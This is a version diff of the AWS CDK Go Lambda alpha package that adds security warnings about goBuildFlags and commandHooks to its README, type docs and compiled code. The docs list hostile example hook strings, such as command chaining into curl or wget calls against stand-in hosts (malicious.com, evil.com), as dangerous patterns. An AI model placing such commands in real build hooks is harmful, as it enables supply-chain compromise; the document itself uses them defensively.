@aws-cdk/aws-lambda-go-alpha 2.222.0-alpha.0 → 2.224.0-alpha.0

package/README.md

@@ -170,6 +170,8 @@ new go.GoFunction(this, 'handler', {
 });
 ```
 
+**⚠️ Security Warning**: Build flags are passed directly to the Go build command and can execute arbitrary commands during bundling. Only use trusted values and avoid flags like `-toolexec` with untrusted arguments. Be especially cautious with third-party CDK constructs that may contain malicious build flags. The CDK will display a warning during synthesis when `goBuildFlags` is used.
+
 By default this construct doesn't use any Go module proxies. This is contrary to
 a standard Go installation, which would use the Google proxy by default. To
 recreate that behavior, do the following:
@@ -200,19 +202,21 @@ new go.GoFunction(this, 'GoFunction', {
 
 ## Command hooks
 
-It is  possible to run additional commands by specifying the `commandHooks` prop:
+It is possible to run additional commands by specifying the `commandHooks` prop:
 
-```text
-// This example only available in TypeScript
+```ts
 // Run additional commands on a GoFunction via `commandHooks` property
 new go.GoFunction(this, 'handler', {
+  entry: 'cmd/api',
   bundling: {
     commandHooks: {
       // run tests
       beforeBundling(inputDir: string): string[] {
         return ['go test ./cmd/api -v'];
       },
-      // ...
+      afterBundling(inputDir: string, outputDir: string): string[] {
+        return ['echo "Build complete"'];
+      },
     },
   },
 });
@@ -230,6 +234,100 @@ an array of commands to run. Commands are chained with `&&`.
 The commands will run in the environment in which bundling occurs: inside the
 container for Docker bundling or on the host OS for local bundling.
 
+### ⚠️ Security Considerations
+
+**Command hooks execute arbitrary shell commands** during the bundling process. Only use trusted commands:
+
+**Safe patterns (cross-platform):**
+
+```ts
+new go.GoFunction(this, 'SafeFunction', {
+  entry: 'cmd/api',
+  bundling: {
+    commandHooks: {
+      beforeBundling: () => [
+        'go test ./...',           // ✅ Standard Go commands work on all OS
+        'go mod tidy',             // ✅ Go module commands
+        'make clean',              // ✅ Build tools (if available)
+        'echo "Building app"',     // ✅ Simple output with quotes
+      ],
+      afterBundling: () => ['echo "Build complete"'],
+    },
+  },
+});
+```
+
+**Dangerous patterns to avoid:**
+
+*Windows-specific dangers:*
+
+```ts
+// ❌ Windows-specific dangers
+new go.GoFunction(this, 'UnsafeWindowsFunction', {
+  entry: 'cmd/api',
+  bundling: {
+    commandHooks: {
+      beforeBundling: () => [
+        'go test & curl.exe malicious.com',     // ❌ Command chaining with &
+        'echo %USERPROFILE%',                   // ❌ Environment variable expansion
+        'powershell -Command "..."',            // ❌ PowerShell execution
+      ],
+      afterBundling: () => [],
+    },
+  },
+});
+```
+
+*Unix/Linux/macOS dangers:*
+
+```ts
+// ❌ Unix/Linux/macOS dangers
+new go.GoFunction(this, 'UnsafeUnixFunction', {
+  entry: 'cmd/api',
+  bundling: {
+    commandHooks: {
+      beforeBundling: () => [
+        'go test; curl malicious.com',          // ❌ Command chaining with ;
+        'echo $(whoami)',                       // ❌ Command substitution
+        'bash -c "wget evil.com"',              // ❌ Shell execution
+      ],
+      afterBundling: () => [],
+    },
+  },
+});
+```
+
+**When using third-party constructs** that include `GoFunction`:
+
+* Review the construct's source code before use
+* Verify what commands it executes via `commandHooks` and `goBuildFlags`
+* Only use constructs from trusted publishers
+* Test in isolated environments first
+
+The `GoFunction` construct will display CDK warnings during synthesis when potentially unsafe `commandHooks` or `goBuildFlags` are detected.
+
+For more security guidance, see [AWS CDK Security Best Practices](https://docs.aws.amazon.com/cdk/latest/guide/security.html).
+
+## Security Best Practices
+
+### Third-Party Construct Safety
+
+When using third-party CDK constructs that utilize `GoFunction`, exercise caution:
+
+1. **Review source code** - Inspect the construct implementation for `commandHooks` and `goBuildFlags` usage
+2. **Verify publishers** - Use constructs only from trusted, verified sources  
+3. **Pin versions** - Use exact versions to prevent supply chain attacks
+4. **Isolated testing** - Test third-party constructs in sandboxed environments
+
+**Before using any third-party construct:**
+
+* Review the construct's source code on GitHub or npm
+* Search for `commandHooks` and `goBuildFlags` usage in the code
+* Verify no dangerous command patterns are present
+* Use exact version pinning to prevent supply chain attacks
+
+The `GoFunction` construct will display CDK warnings during synthesis when potentially unsafe `commandHooks` or `goBuildFlags` are detected.
+
 ## Additional considerations
 
 Depending on how you structure your Golang application, you may want to change the `assetHashType` parameter.

package/lib/function.js

@@ -40,6 +40,7 @@ const JSII_RTTI_SYMBOL_1 = Symbol.for("jsii.rtti");
 const fs = require("fs");
 const path = require("path");
 const lambda = require("aws-cdk-lib/aws-lambda");
+const cdk = require("aws-cdk-lib/core");
 const bundling_1 = require("./bundling");
 const util_1 = require("./util");
 const metadata_resource_1 = require("aws-cdk-lib/core/lib/metadata-resource");
@@ -61,7 +62,7 @@ let GoFunction = (() => {
             GoFunction = _classThis = _classDescriptor.value;
             if (_metadata) Object.defineProperty(_classThis, Symbol.metadata, { enumerable: true, configurable: true, writable: true, value: _metadata });
         }
-        static [JSII_RTTI_SYMBOL_1] = { fqn: "@aws-cdk/aws-lambda-go-alpha.GoFunction", version: "2.222.0-alpha.0" };
+        static [JSII_RTTI_SYMBOL_1] = { fqn: "@aws-cdk/aws-lambda-go-alpha.GoFunction", version: "2.224.0-alpha.0" };
         /** Uniquely identifies this class. */
         static PROPERTY_INJECTION_ID = '@aws-cdk.aws-lambda-go-alpha.GoFunction';
         /**
@@ -108,6 +109,13 @@ let GoFunction = (() => {
             }
             const runtime = props.runtime ?? lambda.Runtime.PROVIDED_AL2;
             const architecture = props.architecture ?? lambda.Architecture.X86_64;
+            // Security warnings for potentially unsafe bundling options
+            if (props.bundling?.goBuildFlags?.length) {
+                cdk.Annotations.of(scope).addWarningV2('@aws-cdk/aws-lambda-go-alpha:goBuildFlagsSecurityWarning', 'goBuildFlags can execute arbitrary commands during bundling. Ensure all flags come from trusted sources. See: https://docs.aws.amazon.com/cdk/latest/guide/security.html');
+            }
+            if (props.bundling?.commandHooks?.beforeBundling || props.bundling?.commandHooks?.afterBundling) {
+                cdk.Annotations.of(scope).addWarningV2('@aws-cdk/aws-lambda-go-alpha:commandHooksSecurityWarning', 'commandHooks can execute arbitrary commands during bundling. Ensure all commands come from trusted sources. See: https://docs.aws.amazon.com/cdk/latest/guide/security.html');
+            }
             super(scope, id, {
                 ...props,
                 runtime,
@@ -130,4 +138,4 @@ let GoFunction = (() => {
     return GoFunction = _classThis;
 })();
 exports.GoFunction = GoFunction;
-//# sourceMappingURL=data:application/json;base64,{"version":3,"file":"function.js","sourceRoot":"","sources":["function.ts"],"names":[],"mappings":"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","sourcesContent":["import * as fs from 'fs';\nimport * as path from 'path';\nimport * as lambda from 'aws-cdk-lib/aws-lambda';\nimport { Construct } from 'constructs';\nimport { Bundling } from './bundling';\nimport { BundlingOptions } from './types';\nimport { findUp } from './util';\nimport { addConstructMetadata } from 'aws-cdk-lib/core/lib/metadata-resource';\nimport { propertyInjectable } from 'aws-cdk-lib/core/lib/prop-injectable';\n\n/**\n * Properties for a GolangFunction\n */\nexport interface GoFunctionProps extends lambda.FunctionOptions {\n  /**\n   * The path to the folder or file that contains the main application entry point files for the project.\n   *\n   * This accepts either a path to a directory or file.\n   *\n   * If a directory path is provided then it will assume there is a Go entry file (i.e. `main.go`) and\n   * will construct the build command using the directory path.\n   *\n   * For example, if you provide the entry as:\n   *\n   *     entry: 'my-lambda-app/cmd/api'\n   *\n   * Then the `go build` command would be:\n   *\n   *     `go build ./cmd/api`\n   *\n   * If a path to a file is provided then it will use the filepath in the build command.\n   *\n   * For example, if you provide the entry as:\n   *\n   *     entry: 'my-lambda-app/cmd/api/main.go'\n   *\n   * Then the `go build` command would be:\n   *\n   *     `go build ./cmd/api/main.go`\n   */\n  readonly entry: string;\n\n  /**\n   * The runtime environment. Only runtimes of the Golang family and provided family are supported.\n   *\n   * @default lambda.Runtime.PROVIDED_AL2\n   */\n  readonly runtime?: lambda.Runtime;\n\n  /**\n   * Directory containing your go.mod file\n   *\n   * This will accept either a directory path containing a `go.mod` file\n   * or a filepath to your `go.mod` file (i.e. `path/to/go.mod`).\n   *\n   * This will be used as the source of the volume mounted in the Docker\n   * container and will be the directory where it will run `go build` from.\n   *\n   * @default - the path is found by walking up parent directories searching for\n   *  a `go.mod` file from the location of `entry`\n   */\n  readonly moduleDir?: string;\n\n  /**\n   * Bundling options\n   *\n   * @default - use default bundling options\n   */\n  readonly bundling?: BundlingOptions;\n}\n\n/**\n * A Golang Lambda function\n */\n@propertyInjectable\nexport class GoFunction extends lambda.Function {\n  /** Uniquely identifies this class. */\n  public static readonly PROPERTY_INJECTION_ID: string = '@aws-cdk.aws-lambda-go-alpha.GoFunction';\n  /**\n   * The address of the Google Go proxy\n   */\n  public static readonly GOOGLE_GOPROXY = 'https://proxy.golang.org';\n\n  constructor(scope: Construct, id: string, props: GoFunctionProps) {\n    if (props.runtime && (props.runtime.family !== lambda.RuntimeFamily.GO && props.runtime.family != lambda.RuntimeFamily.OTHER)) {\n      throw new Error('Only `go` and `provided` runtimes are supported.');\n    }\n\n    const entry = path.resolve(props.entry);\n\n    // Find the project root\n    let moduleDir: string;\n    if (props.moduleDir) {\n      const parsedModuleDir = path.parse(props.moduleDir);\n      if (parsedModuleDir.base && parsedModuleDir.ext && parsedModuleDir.base === 'go.mod') {\n        if (!fs.existsSync(props.moduleDir)) {\n          throw new Error(`go.mod file at ${props.moduleDir} doesn't exist`);\n        }\n      } else if (parsedModuleDir.base && parsedModuleDir.ext && parsedModuleDir.base != 'go.mod') {\n        throw new Error('moduleDir is specifying a file that is not go.mod');\n      } else if (!fs.existsSync(path.join(props.moduleDir, 'go.mod'))) {\n        throw new Error(`go.mod file at ${props.moduleDir} doesn't exist`);\n      }\n      moduleDir = props.moduleDir;\n    } else {\n      const modFile = findUp('go.mod', entry);\n      if (!modFile) {\n        throw new Error ('Cannot find go.mod. Please specify it with `moduleDir`.');\n      }\n      moduleDir = modFile;\n    }\n\n    const runtime = props.runtime ?? lambda.Runtime.PROVIDED_AL2;\n    const architecture = props.architecture ?? lambda.Architecture.X86_64;\n\n    super(scope, id, {\n      ...props,\n      runtime,\n      code: Bundling.bundle({\n        ...props.bundling ?? {},\n        entry,\n        runtime,\n        architecture,\n        moduleDir,\n      }),\n      handler: 'bootstrap', // setting name to bootstrap so that the 'provided' runtime can also be used\n    });\n\n    // Enhanced CDK Analytics Telemetry\n    addConstructMetadata(this, props);\n  }\n}\n\n"]}
+//# sourceMappingURL=data:application/json;base64,{"version":3,"file":"function.js","sourceRoot":"","sources":["function.ts"],"names":[],"mappings":";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;AAAA,yBAAyB;AACzB,6BAA6B;AAC7B,iDAAiD;AACjD,wCAAwC;AAExC,yCAAsC;AAEtC,iCAAgC;AAChC,8EAA8E;AAC9E,0EAA0E;AA+D1E;;GAEG;IAEU,UAAU;4BADtB,oCAAkB;;;;sBACa,MAAM,CAAC,QAAQ;0BAAvB,SAAQ,WAAe;;;;YAA/C,6KAuEC;;;;;QAtEC,sCAAsC;QAC/B,MAAM,CAAU,qBAAqB,GAAW,yCAAyC,CAAC;QACjG;;WAEG;QACI,MAAM,CAAU,cAAc,GAAG,0BAA0B,CAAC;QAEnE,YAAY,KAAgB,EAAE,EAAU,EAAE,KAAsB;;;;;;mDARrD,UAAU;;;;YASnB,IAAI,KAAK,CAAC,OAAO,IAAI,CAAC,KAAK,CAAC,OAAO,CAAC,MAAM,KAAK,MAAM,CAAC,aAAa,CAAC,EAAE,IAAI,KAAK,CAAC,OAAO,CAAC,MAAM,IAAI,MAAM,CAAC,aAAa,CAAC,KAAK,CAAC,EAAE,CAAC;gBAC9H,MAAM,IAAI,KAAK,CAAC,kDAAkD,CAAC,CAAC;YACtE,CAAC;YAED,MAAM,KAAK,GAAG,IAAI,CAAC,OAAO,CAAC,KAAK,CAAC,KAAK,CAAC,CAAC;YAExC,wBAAwB;YACxB,IAAI,SAAiB,CAAC;YACtB,IAAI,KAAK,CAAC,SAAS,EAAE,CAAC;gBACpB,MAAM,eAAe,GAAG,IAAI,CAAC,KAAK,CAAC,KAAK,CAAC,SAAS,CAAC,CAAC;gBACpD,IAAI,eAAe,CAAC,IAAI,IAAI,eAAe,CAAC,GAAG,IAAI,eAAe,CAAC,IAAI,KAAK,QAAQ,EAAE,CAAC;oBACrF,IAAI,CAAC,EAAE,CAAC,UAAU,CAAC,KAAK,CAAC,SAAS,CAAC,EAAE,CAAC;wBACpC,MAAM,IAAI,KAAK,CAAC,kBAAkB,KAAK,CAAC,SAAS,gBAAgB,CAAC,CAAC;oBACrE,CAAC;gBACH,CAAC;qBAAM,IAAI,eAAe,CAAC,IAAI,IAAI,eAAe,CAAC,GAAG,IAAI,eAAe,CAAC,IAAI,IAAI,QAAQ,EAAE,CAAC;oBAC3F,MAAM,IAAI,KAAK,CAAC,mDAAmD,CAAC,CAAC;gBACvE,CAAC;qBAAM,IAAI,CAAC,EAAE,CAAC,UAAU,CAAC,IAAI,CAAC,IAAI,CAAC,KAAK,CAAC,SAAS,EAAE,QAAQ,CAAC,CAAC,EAAE,CAAC;oBAChE,MAAM,IAAI,KAAK,CAAC,kBAAkB,KAAK,CAAC,SAAS,gBAAgB,CAAC,CAAC;gBACrE,CAAC;gBACD,SAAS,GAAG,KAAK,CAAC,SAAS,CAAC;YAC9B,CAAC;iBAAM,CAAC;gBACN,MAAM,OAAO,GAAG,IAAA,aAAM,EAAC,QAAQ,EAAE,KAAK,CAAC,CAAC;gBACxC,IAAI,CAAC,OAAO,EAAE,CAAC;oBACb,MAAM,IAAI,KAAK,CAAE,yDAAyD,CAAC,CAAC;gBAC9E,CAAC;gBACD,SAAS,GAAG,OAAO,CAAC;YACtB,CAAC;YAED,MAAM,OAAO,GAAG,KAAK,CAAC,OAAO,IAAI,MAAM,CAAC,OAAO,CAAC,YAAY,CAAC;YAC7D,MAAM,YAAY,GAAG,KAAK,CAAC,YAAY,IAAI,MAAM,CAAC,YAAY,CAAC,MAAM,CAAC;YAEtE,4DAA4D;YAC5D,IAAI,KAAK,CAAC,QAAQ,EAAE,YAAY,EAAE,MAAM,EAAE,CAAC;gBACzC,GAAG,CAAC,WAAW,CAAC,EAAE,CAAC,KAAK,CAAC,CAAC,YAAY,CACpC,0DAA0D,EAC1D,0KAA0K,CAC3K,CAAC;YACJ,CAAC;YAED,IAAI,KAAK,CAAC,QAAQ,EAAE,YAAY,EAAE,cAAc,IAAI,KAAK,CAAC,QAAQ,EAAE,YAAY,EAAE,aAAa,EAAE,CAAC;gBAChG,GAAG,CAAC,WAAW,CAAC,EAAE,CAAC,KAAK,CAAC,CAAC,YAAY,CACpC,0DAA0D,EAC1D,6KAA6K,CAC9K,CAAC;YACJ,CAAC;YAED,KAAK,CAAC,KAAK,EAAE,EAAE,EAAE;gBACf,GAAG,KAAK;gBACR,OAAO;gBACP,IAAI,EAAE,mBAAQ,CAAC,MAAM,CAAC;oBACpB,GAAG,KAAK,CAAC,QAAQ,IAAI,EAAE;oBACvB,KAAK;oBACL,OAAO;oBACP,YAAY;oBACZ,SAAS;iBACV,CAAC;gBACF,OAAO,EAAE,WAAW,EAAE,4EAA4E;aACnG,CAAC,CAAC;YAEH,mCAAmC;YACnC,IAAA,wCAAoB,EAAC,IAAI,EAAE,KAAK,CAAC,CAAC;SACnC;;YAtEU,uDAAU;;;;;AAAV,gCAAU","sourcesContent":["import * as fs from 'fs';\nimport * as path from 'path';\nimport * as lambda from 'aws-cdk-lib/aws-lambda';\nimport * as cdk from 'aws-cdk-lib/core';\nimport { Construct } from 'constructs';\nimport { Bundling } from './bundling';\nimport { BundlingOptions } from './types';\nimport { findUp } from './util';\nimport { addConstructMetadata } from 'aws-cdk-lib/core/lib/metadata-resource';\nimport { propertyInjectable } from 'aws-cdk-lib/core/lib/prop-injectable';\n\n/**\n * Properties for a GolangFunction\n */\nexport interface GoFunctionProps extends lambda.FunctionOptions {\n  /**\n   * The path to the folder or file that contains the main application entry point files for the project.\n   *\n   * This accepts either a path to a directory or file.\n   *\n   * If a directory path is provided then it will assume there is a Go entry file (i.e. `main.go`) and\n   * will construct the build command using the directory path.\n   *\n   * For example, if you provide the entry as:\n   *\n   *     entry: 'my-lambda-app/cmd/api'\n   *\n   * Then the `go build` command would be:\n   *\n   *     `go build ./cmd/api`\n   *\n   * If a path to a file is provided then it will use the filepath in the build command.\n   *\n   * For example, if you provide the entry as:\n   *\n   *     entry: 'my-lambda-app/cmd/api/main.go'\n   *\n   * Then the `go build` command would be:\n   *\n   *     `go build ./cmd/api/main.go`\n   */\n  readonly entry: string;\n\n  /**\n   * The runtime environment. Only runtimes of the Golang family and provided family are supported.\n   *\n   * @default lambda.Runtime.PROVIDED_AL2\n   */\n  readonly runtime?: lambda.Runtime;\n\n  /**\n   * Directory containing your go.mod file\n   *\n   * This will accept either a directory path containing a `go.mod` file\n   * or a filepath to your `go.mod` file (i.e. `path/to/go.mod`).\n   *\n   * This will be used as the source of the volume mounted in the Docker\n   * container and will be the directory where it will run `go build` from.\n   *\n   * @default - the path is found by walking up parent directories searching for\n   *  a `go.mod` file from the location of `entry`\n   */\n  readonly moduleDir?: string;\n\n  /**\n   * Bundling options\n   *\n   * @default - use default bundling options\n   */\n  readonly bundling?: BundlingOptions;\n}\n\n/**\n * A Golang Lambda function\n */\n@propertyInjectable\nexport class GoFunction extends lambda.Function {\n  /** Uniquely identifies this class. */\n  public static readonly PROPERTY_INJECTION_ID: string = '@aws-cdk.aws-lambda-go-alpha.GoFunction';\n  /**\n   * The address of the Google Go proxy\n   */\n  public static readonly GOOGLE_GOPROXY = 'https://proxy.golang.org';\n\n  constructor(scope: Construct, id: string, props: GoFunctionProps) {\n    if (props.runtime && (props.runtime.family !== lambda.RuntimeFamily.GO && props.runtime.family != lambda.RuntimeFamily.OTHER)) {\n      throw new Error('Only `go` and `provided` runtimes are supported.');\n    }\n\n    const entry = path.resolve(props.entry);\n\n    // Find the project root\n    let moduleDir: string;\n    if (props.moduleDir) {\n      const parsedModuleDir = path.parse(props.moduleDir);\n      if (parsedModuleDir.base && parsedModuleDir.ext && parsedModuleDir.base === 'go.mod') {\n        if (!fs.existsSync(props.moduleDir)) {\n          throw new Error(`go.mod file at ${props.moduleDir} doesn't exist`);\n        }\n      } else if (parsedModuleDir.base && parsedModuleDir.ext && parsedModuleDir.base != 'go.mod') {\n        throw new Error('moduleDir is specifying a file that is not go.mod');\n      } else if (!fs.existsSync(path.join(props.moduleDir, 'go.mod'))) {\n        throw new Error(`go.mod file at ${props.moduleDir} doesn't exist`);\n      }\n      moduleDir = props.moduleDir;\n    } else {\n      const modFile = findUp('go.mod', entry);\n      if (!modFile) {\n        throw new Error ('Cannot find go.mod. Please specify it with `moduleDir`.');\n      }\n      moduleDir = modFile;\n    }\n\n    const runtime = props.runtime ?? lambda.Runtime.PROVIDED_AL2;\n    const architecture = props.architecture ?? lambda.Architecture.X86_64;\n\n    // Security warnings for potentially unsafe bundling options\n    if (props.bundling?.goBuildFlags?.length) {\n      cdk.Annotations.of(scope).addWarningV2(\n        '@aws-cdk/aws-lambda-go-alpha:goBuildFlagsSecurityWarning',\n        'goBuildFlags can execute arbitrary commands during bundling. Ensure all flags come from trusted sources. See: https://docs.aws.amazon.com/cdk/latest/guide/security.html',\n      );\n    }\n\n    if (props.bundling?.commandHooks?.beforeBundling || props.bundling?.commandHooks?.afterBundling) {\n      cdk.Annotations.of(scope).addWarningV2(\n        '@aws-cdk/aws-lambda-go-alpha:commandHooksSecurityWarning',\n        'commandHooks can execute arbitrary commands during bundling. Ensure all commands come from trusted sources. See: https://docs.aws.amazon.com/cdk/latest/guide/security.html',\n      );\n    }\n\n    super(scope, id, {\n      ...props,\n      runtime,\n      code: Bundling.bundle({\n        ...props.bundling ?? {},\n        entry,\n        runtime,\n        architecture,\n        moduleDir,\n      }),\n      handler: 'bootstrap', // setting name to bootstrap so that the 'provided' runtime can also be used\n    });\n\n    // Enhanced CDK Analytics Telemetry\n    addConstructMetadata(this, props);\n  }\n}\n\n"]}

package/lib/types.d.ts

@@ -22,6 +22,11 @@ export interface BundlingOptions extends DockerRunOptions {
      * For example:
      * ['ldflags "-s -w"']
      *
+     * ⚠️ **Security Warning**: These flags are passed directly to the Go build command.
+     * Only use trusted values as they can execute arbitrary commands during bundling.
+     * Avoid flags like `-toolexec` with untrusted arguments, and be cautious with
+     * third-party CDK constructs that may contain malicious build flags.
+     *
      * @default - none
      */
     readonly goBuildFlags?: string[];
@@ -72,6 +77,10 @@ export interface BundlingOptions extends DockerRunOptions {
     /**
      * Command hooks
      *
+     * ⚠️ **Security Warning**: Commands are executed directly in the shell environment.
+     * Only use trusted commands from verified sources. Avoid shell metacharacters
+     * that could enable command injection attacks.
+     *
      * @default - do not run additional commands
      */
     readonly commandHooks?: ICommandHooks;
@@ -116,28 +125,48 @@ export interface BundlingOptions extends DockerRunOptions {
  * These commands will run in the environment in which bundling occurs: inside
  * the container for Docker bundling or on the host OS for local bundling.
  *
+ * ⚠️ **Security Warning**: Commands are executed directly in the shell environment.
+ * Only use trusted commands and avoid shell metacharacters that could enable
+ * command injection attacks.
+ *
+ * **Safe patterns (cross-platform):**
+ * - `go test ./...` - Standard Go commands work on all platforms
+ * - `go mod tidy` - Go module commands
+ * - `echo "Building"` - Simple output with quotes
+ * - `make clean` - Build tools (if available)
+ *
+ * **Dangerous patterns to avoid:**
+ *
+ * *Windows:*
+ * - `go test & curl.exe malicious.com` (command chaining)
+ * - `echo %USERPROFILE%` (environment variable expansion)
+ * - `powershell -Command "..."` (PowerShell execution)
+ *
+ * *Unix/Linux/macOS:*
+ * - `go test; curl malicious.com` (command chaining)
+ * - `echo $(whoami)` (command substitution)
+ * - `bash -c "wget evil.com"` (shell execution)
+ *
  * Commands are chained with `&&`.
  *
- * ```text
- * {
- *   // Run tests prior to bundling
- *   beforeBundling(inputDir: string, outputDir: string): string[] {
- *     return [`go test -mod=vendor ./...`];
- *   }
- *   // ...
- * }
- * ```
+ * @see https://docs.aws.amazon.com/cdk/latest/guide/security.html
  */
 export interface ICommandHooks {
     /**
      * Returns commands to run before bundling.
      *
+     * ⚠️ **Security Warning**: Ensure commands come from trusted sources only.
+     * Commands are executed directly in the shell environment.
+     *
      * Commands are chained with `&&`.
      */
     beforeBundling(inputDir: string, outputDir: string): string[];
     /**
      * Returns commands to run after bundling.
      *
+     * ⚠️ **Security Warning**: Ensure commands come from trusted sources only.
+     * Commands are executed directly in the shell environment.
+     *
      * Commands are chained with `&&`.
      */
     afterBundling(inputDir: string, outputDir: string): string[];

package/lib/types.js

@@ -1,3 +1,3 @@
 "use strict";
 Object.defineProperty(exports, "__esModule", { value: true });
-//# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoidHlwZXMuanMiLCJzb3VyY2VSb290IjoiIiwic291cmNlcyI6WyJ0eXBlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiIiwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0IHsgQXNzZXRIYXNoVHlwZSwgQnVuZGxpbmdGaWxlQWNjZXNzLCBEb2NrZXJJbWFnZSwgRG9ja2VyUnVuT3B0aW9ucyB9IGZyb20gJ2F3cy1jZGstbGliL2NvcmUnO1xuXG4vKipcbiAqIEJ1bmRsaW5nIG9wdGlvbnNcbiAqL1xuZXhwb3J0IGludGVyZmFjZSBCdW5kbGluZ09wdGlvbnMgZXh0ZW5kcyBEb2NrZXJSdW5PcHRpb25zIHtcbiAgLyoqXG4gICAqIEZvcmNlIGJ1bmRsaW5nIGluIGEgRG9ja2VyIGNvbnRhaW5lciBldmVuIGlmIGxvY2FsIGJ1bmRsaW5nIGlzXG4gICAqIHBvc3NpYmxlLlxuICAgKlxuICAgKiBAZGVmYXVsdCAtIGZhbHNlXG4gICAqL1xuICByZWFkb25seSBmb3JjZWREb2NrZXJCdW5kbGluZz86IGJvb2xlYW47XG5cbiAgLyoqXG4gICAqIEEgY3VzdG9tIGJ1bmRsaW5nIERvY2tlciBpbWFnZS5cbiAgICpcbiAgICogQGRlZmF1bHQgLSB1c2UgdGhlIERvY2tlciBpbWFnZSBwcm92aWRlZCBieSBAYXdzLWNkay9hd3MtbGFtYmRhLWdvLWFscGhhXG4gICAqL1xuICByZWFkb25seSBkb2NrZXJJbWFnZT86IERvY2tlckltYWdlO1xuXG4gIC8qKlxuICAgKiBMaXN0IG9mIGFkZGl0aW9uYWwgZmxhZ3MgdG8gdXNlIHdoaWxlIGJ1aWxkaW5nLlxuICAgKlxuICAgKiBGb3IgZXhhbXBsZTpcbiAgICogWydsZGZsYWdzIFwiLXMgLXdcIiddXG4gICAqXG4gICAqIEBkZWZhdWx0IC0gbm9uZVxuICAgKi9cbiAgcmVhZG9ubHkgZ29CdWlsZEZsYWdzPzogc3RyaW5nW107XG5cbiAgLyoqXG4gICAqIEJ1aWxkIGFyZ3VtZW50cyB0byBwYXNzIHdoZW4gYnVpbGRpbmcgdGhlIGJ1bmRsaW5nIGltYWdlLlxuICAgKlxuICAgKiBAZGVmYXVsdCAtIG5vIGJ1aWxkIGFyZ3VtZW50cyBhcmUgcGFzc2VkXG4gICAqL1xuICByZWFkb25seSBidWlsZEFyZ3M/OiB7IFtrZXk6c3RyaW5nXSA6IHN0cmluZyB9O1xuXG4gIC8qKlxuICAgKiBEZXRlcm1pbmVzIGhvdyB0aGUgYXNzZXQgaGFzaCBpcyBjYWxjdWxhdGVkLiBBc3NldHMgd2lsbFxuICAgKiBnZXQgcmVidWlsdCBhbmQgdXBsb2FkZWQgb25seSBpZiB0aGVpciBoYXNoIGhhcyBjaGFuZ2VkLlxuICAgKlxuICAgKiBJZiB0aGUgYXNzZXQgaGFzaCBpcyBzZXQgdG8gYE9VVFBVVGAgKGRlZmF1bHQpLCB0aGUgaGFzaCBpcyBjY